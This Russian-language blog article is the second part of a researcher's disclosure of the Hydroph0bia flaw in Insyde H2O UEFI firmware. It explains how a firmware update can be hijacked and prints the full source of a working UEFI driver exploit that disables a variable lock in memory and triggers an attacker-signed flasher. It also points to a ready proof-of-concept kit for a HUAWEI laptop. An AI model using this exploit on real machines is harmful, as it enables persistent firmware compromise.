Здравствуй, читатель. Перед тобой вторая статья о найденной мной серьезной уязвимости в UEFI-совместимых прошивках на базе платформы Insyde H2O, которую я назвал Hydroph0bia. В первой статье я рассказывал о проблеме "затенения" волатильных переменных NVRAM неволатильными, и о катастрофических последствиях, которые могут наступить при неудачном стечении обстоятельств и неаккуратном программировании критических для безопасности прошивки компонентов. Для правильного понимания этой статьи потребуются знания из первой, поэтому если вдруг она еще не прочитана, рекомендую устранить этот пробел.

Я вновь категорически не советую использовать полученные из этой статьи сведения для совершения каких-либо противоправных действий, всю полученную информацию вы используете на свой страх и риск.


Введение

Из первой статьи мы узнали, что если сгенерировать свой собственный сертификат, обернуть его в формат EFI_SIGNATURE_LIST, и добавить в неволатильную NVRAM-переменную SecureFlashCertData, а также создать переменную SecureFlashSetupMode со значением 1, это заставит уязвимую прошивку на базе Insyde H2O доверять подписанные нашим сертификатом исполняемые файлы, как если бы они были подписаны самой Insyde.

Это автоматически означает, что мы можем выполнять свой код даже в тех загрузочных режимах, прои которых прошивка доверяет только коду Insyde, например, в режиме обновления прошивки. Т.е. мы можем подменить прошивальщик isflash.bin, который используется для установки обновления, на свой собственный код, и исполнить его в тот момент, когда все защиты от записи уже заранее сняты самой прошивкой.

Перехват управления во время обновления прошивки - гораздо более серьезная проблема, чем просто обход UEFI SecureBoot, потому что при успешной эксплуатации мы сможем модифицировать все компоненты прошивки, не накрытые Intel BootGuard (или соответствующей технологией AMD) или Insyde FlashDeviceMap (которая используется как продолжение BG в фазе DXE). На данный момент правильно настраивать BG производители ПК в массе уже научились, а вот FDM пока что многие настраивают как попало.

Нам "повезло", т.к. в нашем случае DXE-том доступен для модификаций, в UEFITool NE это выглядит вот так:

Неправильно настроенный FlashDeviceMap не покрывает DXE-том, HUAWEI MateBook 14 2023
Неправильно настроенный FlashDeviceMap не покрывает DXE-том, HUAWEI MateBook 14 2023

Вот пример правильной настройки на другом ноутбуке:

Правильно настроенный FlashDeviceMap полностью покрывает DXE-том, Lenovo IdeaPad 5 Pro 16IAH7
Правильно настроенный FlashDeviceMap полностью покрывает DXE-том, Lenovo IdeaPad 5 Pro 16IAH7

Система обновления прошивки

На платформе Insyde H2O система обновления прошивки работает следующим образом:

  • Инсталлятор из ОС кладёт на EFI System Partition файл-капсулу с обновлением прошивки, и прошивальщик isflash.bin, и устанавливает поле SecureFlasdTrigger в неволатильной переменной SecureFlashInfo в 1 (делает он это при помощи нестандартного SMM-вызова, потому что переменная SecureFlashInfo защищена от записи при помощи VariableLockProtocol, и потому недоступна для записи из ОС обычным образом), и перезагружает ПК.

  • После перезагрузки PEI-модуль SecureFlashPei проверяет наличие переменной SecureFlashInfo и значение SecureFlasdTrigger ней, и пропускает установку защиты от записи, если это значение - 1.

  • Далее DXE-драйвер SecureFlashDxe выполняет такую же проверку, и регистрирует функцию обратного вызова (callback), которая будет вызвана далее драйвером BdsDxe.

  • BdsDxe выполняет такую же проверку, и вызывает функцию, которую зарегистрировал SecureFlashDxe вместо продолжения загрузки в обычном режиме.

  • Функция эта выполняет подготовительные действия (отключает возможность перезагрузки при помощи клавиатурных комбинаций, отключает доверие к коду, которому доверяет UEFI SecureBoot, и т.п.), проверяет подпись у прошивальщика isflash.bin, и, если с подписью все в порядке, передает на него управление.

    Часть callback-функции из SecureFlashDxe, которая передает управление на прошивальщик isflash.bin
    Часть callback-функции из SecureFlashDxe, которая передает управление на прошивальщик isflash.bin

Внимательный читатель уже заметил, что ошибки, возвращаемые из LoadCertificateToVariable, не обрабатываются, и на LoadImage повлиять не могут, т.е. если мы успешно "затеним" переменную SecureFlashCertData используюя утилиту SFCD из прошлой статьи, она должна быть использована внутри LoadImage, который вернет EFI_SUCCESS для подписанного нашим сертификатом isflash.bin, а затем StartImage должен передать на него управление, успешно завершив тем самым эксплуатацию уязвимости.

Очевидно, что первая попытка закономерно завершилась неудачей, и нам нужно понять, почему такая же точно функция LoadCertificateFromVariable из BdsDxe прекрасно работала в прошлой статье для обхода SecureBoot, а ее копия из SecureFlashDxe внезапно отказывается. Открываем IDA с плагином efiXplorer и видим следующее:

Вариант LoadCertificateToVariable из SecureFlashDxe
Вариант LoadCertificateToVariable из SecureFlashDxe

По не совсем понятной мне причине (багфикс? контр-меры? хрен знает...) Insyde решили вызвать SetVariable с нулевым размером буфера на нашу переменную, и это, в полном соответствии со спецификацией, удалило ее.

Досадно, но благодаря той же спецификации у нас есть даже не один, а два варианта создать нашу переменную таким способом, чтобы такой вызов SetVariable не смог удалить ее: устаревший атрибут Auth Write (AW) и пришедший ему на замену новомодный Time-Based Auth Write (TA).

Специальные переменные

В стародавние времена 2000х годов Intel (а позже - UEFI Forum, который они сформировали) решили предоставить эталонную реализацию подсистемы NVRAM (по моей классификации - VSS NVRAM, подробности тут), но не стали делать ее использование обязательным, поэтому каждый IBV в итоге разработал свою собственную реализацию драйверов NVRAM, со своими глюками и проблемами. Нам здесь придется довольно глубоко изучить реализацию из Insyde H2O, чтобы понять, можно ли в ней создать свою переменную с атрибутом AW или TA.

Insyde использует для реализации практически всей функциональности NVRAM единый драйвер VariableRuntimeDxe. Драйвер этот - гигантский по меркам UEFI, поэтому я потратил около двух недель на пристальное вглядывание в листинги дизассемблера и декомпилятора, чтобы в конце концов выяснить следующее:

  • невозможно создать свою TA-переменную, потому что все они выбираются из белого списка и описаны в спецификации, а используются исключительно для SecureBoot

  • можно создать свою AW-переменную, потому что Insyde использует AW-переменные для хранения данных, которые прошивка считает чувствительными, пароля на вход в BIOS Setup, к примеру. При этом код для создания кастомных переменных настолько странный, что скорее всего он вообще никогда не тестировался и не вызывался. Более того, драйвер VariableRuntimeDxe препятствует созданию новых и модификации существующих AW-переменных после начала фазы BDS, а в BDS модификацию таковых можно провести через SMM, но для этого нужно знать пароль от BIOS Setup, если он установлен.

  • других каких-то видов переменных, способных пережить удаление через SetVariable, создать нельзя.

Итого, у нас получается патовая ситуация, при которой нам нужно поставить специальную переменную до начала фазы BDS, но при этом наш код так или иначе запускается драйвером BdsDxe, т.е. мы гарантировано уже находимся в фазе BDS.

Для того, чтобы выбраться из этой жопы, нужно выяснить, как именно VariableRuntimeDxe определяет, что мы находимся в BDS, и "помочь" ему решить вопрос в нашу пользу.
Т.к. все эти драйверы были разработаны еще в очень древние времена спецификации EFI 1.02, они используют очень древнюю драйверную модель, основанную на функции RegisterProtocolNotify, с последующей установкой хука на BdsArchProtocol->Entry.

Установка BdsEntryHook при помощи RegisterProtocolNotify
Установка BdsEntryHook при помощи RegisterProtocolNotify

Сам хук выглядит следующим образом:

Декомпилированный код BdsEntryHook
Декомпилированный код BdsEntryHook

Т.е. выполняется подмена оригинальной функции BdsArchProtocol->Entry на локальную, и сохранение указателя на оригинальную функцию в глобальную переменную драйвера VariableRuntimeDxe. Локальная же функция выглядит так:

Декомпилированный код CustomBdsEntry
Декомпилированный код CustomBdsEntry

Ха! Т.е. решение "поддерживать запись в AW-переменные без SMM" зависит от глобальной переменной драйвера VariableRuntimeDxe, и если ее (назовем ее InsydeVariableLock) из нашего кода в BDS найти и обратно переключить из 1 в 0, то возможность создавать свои AW-переменные в BDS появится снова!

Более того, т.к. VariableRuntimeDxe является поставщиком критических для работы прошивки протоколов и функций, он запускается в самом начале фазы DXE (из файла DXE Apriori File). Вследствие особенностей работы RegisterProtocolNotify (для которого DXE core ведет двусвязный список callback'ов, который обрабатывается по схеме Last-In-First-Out) получается, что для кода в фазе BDS даже не придется искать именно этот хук, т.к. он будет на вершине цепочки вызовов. Отлично!

Бесполезный VariableLock

До полноценной эксплуатации нам не хватает обхода механизма VariableLock, который мешает установить SecureFlashTrigger в 1 в переменной SecureFlashInfo.

Вот что Intel говорит об этом механизме:

Variable Lock Protocol is related to EDK II-specific implementation of variables and intended for use as a means to mark a variable read-only after the event EFI_END_OF_DXE_EVENT_GUID is signaled.

Как обычно для UEFI, практически весь этот текст - ерунда. Дело в том, что основное применение VariableLock - защита переменной Setup от модификации после того, как окно возможностей для запуска BIOS Setup закрылось. Происходит это очень поздно в фазе BDS, а не на событии EndOfDxe, как нас тут пытаются нагло обманывать.

При этом спецификация UEFI в очередной раз предоставляет стандартные механизмы запуска внешнего кода значительно раньше, чем VariableLock срабатывает. Одним из таких механизмов является DriverXXXX.

Each Driver#### variable contains an EFI_LOAD_OPTION. Each load option variable is appended with a unique number, for example Driver0001, Driver0002, etc.

The DriverOrder variable contains an array of UINT16’s that make up an ordered list of the Driver#### variable. The first element in the array is the value for the first logical driver load option, the second element is the value for the second logical driver load option, etc. The DriverOrder list is used by the firmware’s boot manager as the default load order for UEFI drivers that it should explicitly load.

Таким образом, если мы засунем весь наш код по созданию переменной SecureFlashInfo, поиску хука и отключению InsydeVariableLock, и установкой атрибута AW на переменную SecureFlashCertData в UEFI-драйвер, который будем запускать через DriverXXXX, вопрос с VariableLock решится автоматически. А если мы этот драйвер еще и подпишем нашим сертификатом, то он будет запускаться даже при включенном SecureBoot и установленном пароле на BIOS Setup.

UEFI-драйвер

За десяток лет работы с UEFI у меня накопился небольшой опыт написания драйверов для него, поэтому эта часть работы оказалась практически тривиальной. Если вы тоже хотите научиться писать такие драйверы, UEFI Driver Writer's Guide будет отлично базой, а потом можно посмотреть существующие открытые драйверы вроде CrScreenshotDxe.

Вот его исходный код целиком:

#include <Uefi.h>
#include <Library/UefiDriverEntryPoint.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Protocol/Bds.h>

#pragma pack(push, 1)
typedef struct {
    UINT32 ImageSize;
    UINT64 ImageAddress;
    BOOLEAN SecureFlashTrigger;
    BOOLEAN ProcessingRequired;
} SECURE_FLASH_INFO;

typedef struct {
  UINT8 Byte48;
  UINT8 Byte8B;
  UINT8 Byte05;
  UINT32 RipOffset;
  UINT8 ByteC6;
  UINT8 Byte80;
  UINT32 RaxOffset;
  UINT8 Value;
} VARIABLE_RUNTIME_BDS_ENTRY_HOOK;
#pragma pack(pop)

#define WIN_CERT_TYPE_EFI_GUID 0x0EF1

STATIC UINT8 VariableBuffer[] = {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // MonotonicCount
    0x00, 0x00, 0x00, 0x00, //AuthInfo.Hdr.dwLength
    0x00, 0x00, //AuthInfo.Hdr.wRevision
    0x00, 0x00, //AuthInfo.Hdr.wCertificateType
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // AuthInfo.CertType
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // AuthInfo.CertType
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // CertData
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // CertData
    // Certificate in EFI_CERTIFICATE_LIST format
    0xa1, 0x59, 0xc0, 0xa5, 0xe4, 0x94, 0xa7, 0x4a, 0x87, 0xb5, 0xab, 0x15,
    ...
    0xb4, 0xf5, 0x2d, 0x68, 0xe8
};
UINTN VariableSize = 48 + 857;

EFI_GUID gSecureFlashVariableGuid = { 0x382af2bb, 0xffff, 0xabcd, {0xaa, 0xee, 0xcc, 0xe0, 0x99, 0x33, 0x88, 0x77} };
EFI_GUID gInsydeSpecialVariableGuid = { 0xc107cfcf, 0xd0c6, 0x4590, {0x82, 0x27, 0xf9, 0xd7, 0xfb, 0x69, 0x44 ,0xb4} };

EFI_STATUS
EFIAPI
SetCertAsInsydeSpecialVariable (
  VOID
  )
{
  EFI_STATUS Status;
  UINT32 Attributes = EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS |
                 EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_AUTHENTICATED_WRITE_ACCESS;
  EFI_VARIABLE_AUTHENTICATION *CertData = (EFI_VARIABLE_AUTHENTICATION *)VariableBuffer;
  
  CertData->AuthInfo.Hdr.dwLength = VariableSize;
  CertData->AuthInfo.Hdr.wRevision = 0x0200;
  CertData->AuthInfo.Hdr.wCertificateType = WIN_CERT_TYPE_EFI_GUID;
  gBS->CopyMem(&CertData->AuthInfo.CertType, &gInsydeSpecialVariableGuid, sizeof(EFI_GUID));
  
  Status = gRT->SetVariable(
                  L"SecureFlashCertData",
                  &gSecureFlashVariableGuid,
                  Attributes,
                  VariableSize,
                  VariableBuffer
                  );
  return Status;
}

EFI_STATUS
EFIAPI
SecureFlashPoCEntry (
    IN EFI_HANDLE        ImageHandle,
    IN EFI_SYSTEM_TABLE *SystemTable
    )
{
    EFI_STATUS Status;
    SECURE_FLASH_INFO SecureFlashInfo;
    UINT32 Attributes;
    UINTN Size = 0;
        
    //
    // This driver needs to do the following:
    // 1. Add AW attribute to SecureFlashCertData variable that is already set as NV+BS+RT
    //    This will ensure that SecureFlashDxe driver will fail to remove it
    // 2. Set SecureFlashTrigger=1 in SecureFlashInfo variable, 
    //    that should have been write-protected by EfiVariableLockProtocol, but isn't,
    //    because we are running from Driver0000 before ReadyToBoot event is signaled.
    //    This will ensure that SecureFlashPei and other relevant drivers will not enable
    //    flash write protections, and SecureFlashDxe will register a handler
    //    that will ultimately LoadImage/StartImage our payload stored in EFI/Insyde/isflash.bin
    //
    // All further cleanup can be done after getting control from SecureFlashDxe.
    //
    // All variables used for exploitation will be cleaned 
    //    by the virtue of not having them in the modified BIOS region
    //
        
    // Locate BDS arch protocol
    EFI_BDS_ARCH_PROTOCOL *Bds = NULL;
    Status = gBS->LocateProtocol(&gEfiBdsArchProtocolGuid, NULL, (VOID**) &Bds);
    if (EFI_ERROR(Status)) {
      gRT->SetVariable(L"SecureFlashPoCError1", &gSecureFlashVariableGuid, 7, sizeof(Status), &Status);
      return Status;
    }
    
    // The function pointer we have at Bds->BdsEntry points to the very top of the hook chain, we need to search it
    // for the following:
    // 48 8B 05 XX XX XX XX ; mov rax, cs:GlobalVariableArea
    // C6 80 CD 00 00 00 01 ; mov byte ptr [rax + 0CDh], 1 ; Locked = TRUE;
    // 48 FF 25 YY YY YY YY ; jmp cs:OriginalBdsEntry
    
    // Read bytes from memory at Bds->Entry until we encounter 48 FF 25 pattern
    UINT8* Ptr = (UINT8*)Bds->Entry;
    while (Ptr[Size] != 0x48 || Ptr[Size+1] != 0xFF || Ptr[Size+2] != 0x25) {
      Size++;
      if (Size == 0x100) break; // Put a limit to memory read in case it all fails
    }
    
    if (Size == 0x100) {
      gRT->SetVariable(L"SecureFlashPoCError2", &gSecureFlashVariableGuid, 7, Size, Ptr);
      return EFI_NOT_FOUND;
    }
    
    // VariableRuntimeDxe is loaded from AprioriDxe before all the other drivers that could have hooked Bds->Entry, to our hook will be the very first
    if (Size != sizeof(VARIABLE_RUNTIME_BDS_ENTRY_HOOK)) {
      gRT->SetVariable(L"SecureFlashPoCError3", &gSecureFlashVariableGuid, 7, Size, Ptr);
      return EFI_NOT_FOUND;
    }
    
    // It is indeed the very first one, proceed
    VARIABLE_RUNTIME_BDS_ENTRY_HOOK *Hook = (VARIABLE_RUNTIME_BDS_ENTRY_HOOK*)Bds->Entry;
    
    // Make sure we have all expected bytes at expected offsets
    if (Hook->Byte48 != 0x48 || Hook->Byte8B != 0x8B || Hook->Byte05 != 0x05 || Hook->ByteC6 != 0xC6 || Hook->Byte80 != 0x80) {
      gRT->SetVariable(L"SecureFlashPoCError4", &gSecureFlashVariableGuid, 7, Size, Ptr);
      return EFI_NOT_FOUND;
    }
      
    // Check the current value of InsydeVariableLock
    EFI_PHYSICAL_ADDRESS VariableRuntimeDxeGlobals = *(EFI_PHYSICAL_ADDRESS*)(Ptr + 7 + Hook->RipOffset); // 7 bytes is for the 48 8B 05 XX XX XX XX bytes of first instruction
    UINT8* InsydeVariableLock = (UINT8*)(VariableRuntimeDxeGlobals + Hook->RaxOffset);
    
    // Flip it to 0 if it was 1
    if (*InsydeVariableLock == 1) {
      *InsydeVariableLock = 0;
    }
    // Bail if it's something else
    else {
      gRT->SetVariable(L"SecureFlashPoCError5", &gSecureFlashVariableGuid, 7, sizeof(UINT8), &InsydeVariableLock);
      return EFI_NOT_FOUND;
    }
    
    // Try removing the current NV+BS+RT certificate variable (it might already be set as AW, removal will fail in this case)
    Status = gRT->SetVariable(L"SecureFlashCertData", &gSecureFlashVariableGuid, 0, 0, NULL);
    if (!EFI_ERROR(Status)) { 
      // Try setting it as special NV+BS+RT+AW variable
      Status = SetCertAsInsydeSpecialVariable();
      if (EFI_ERROR(Status)) {
        gRT->SetVariable(L"SecureFlashPoCError6", &gSecureFlashVariableGuid, 7, sizeof(Status), &Status);
          
        // Set certificate variable back as NV+BS+RT, this will allow to try again next boot
        gRT->SetVariable(L"SecureFlashCertData", &gSecureFlashVariableGuid, 7, VariableSize - 48, VariableBuffer + 48);
        return Status;
      }
    }
    
    // Check if we need to trigger SecureFlash boot, or it was already triggered
    Size = sizeof(SecureFlashInfo);
    Status = gRT->GetVariable(L"SecureFlashInfo", &gSecureFlashVariableGuid, &Attributes, &Size, &SecureFlashInfo);
    if (!EFI_ERROR(Status)) {
      if (SecureFlashInfo.SecureFlashTrigger == 0) {
        // Fill new SecureFlashInfo
        gBS->SetMem(&SecureFlashInfo, sizeof(SecureFlashInfo), 0);
        SecureFlashInfo.SecureFlashTrigger = 1; // Trigger secure flash on next reboot
        SecureFlashInfo.ImageSize = 1112568; // Size of our isflash.bin payload
          
        // Set the variable to initiate secure flash
        gRT->SetVariable(L"SecureFlashInfo", &gSecureFlashVariableGuid, 7, sizeof(SecureFlashInfo), &SecureFlashInfo);
        
        // Reset the system to initiate update
        gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL);
      }
    }

    return EFI_SUCCESS;
}

Теперь мы наконец сможем заменить оригинальный isflash.bin чем нибудь интересным, и получить управление во время обновления прошивки, со всеми защитами уже любезно снятыми самой прошивкой. Повеселимся!

Какие ваши доказательства?

Для создания хорошего PoC нужно теперь собрать все компоненты воедино, написать немного скриптов, подписать подходящий прошивальщик (в нашем случае Intel Flash Programming Tool 15) нашим сертификатом, и подготовить модифицированную прошивку, в которой мы заменим скучную дефолтную надпись HUAWEI при загрузке на чуть более хулиганскую ALL YOUR BASE ARE BELONG TO US. Запускаем sfpoc.cmd из консоли администратора в Windows, и наслаждаемся процессом.

Заключение

В будущей третьей части опуса мы посмотрим, как именно Insyde починила сабжевую уязвимость, и нельзя ли обойти их патч, чтобы она снова заработала. Оставайтесь с нами.

Ссылки

PoC-набор для HUAWEI MateBook 14 2023, модифицированный BIOS с картинкой, исходный код и подписанный нашим сертификатом бинарь драйвера SecureFlashPoC, и подписанный этим же сертификатом Intel FPT 15 - на GitHub.

Комментарии (1)


  1. David_Osipov
    13.06.2025 20:11

    Статья отличная, а ситуация патовая. Как раз у самого такой же ноут и один Мао знает когда китайцы выпустят OEM патч. Тем не менее, плюсик в карму.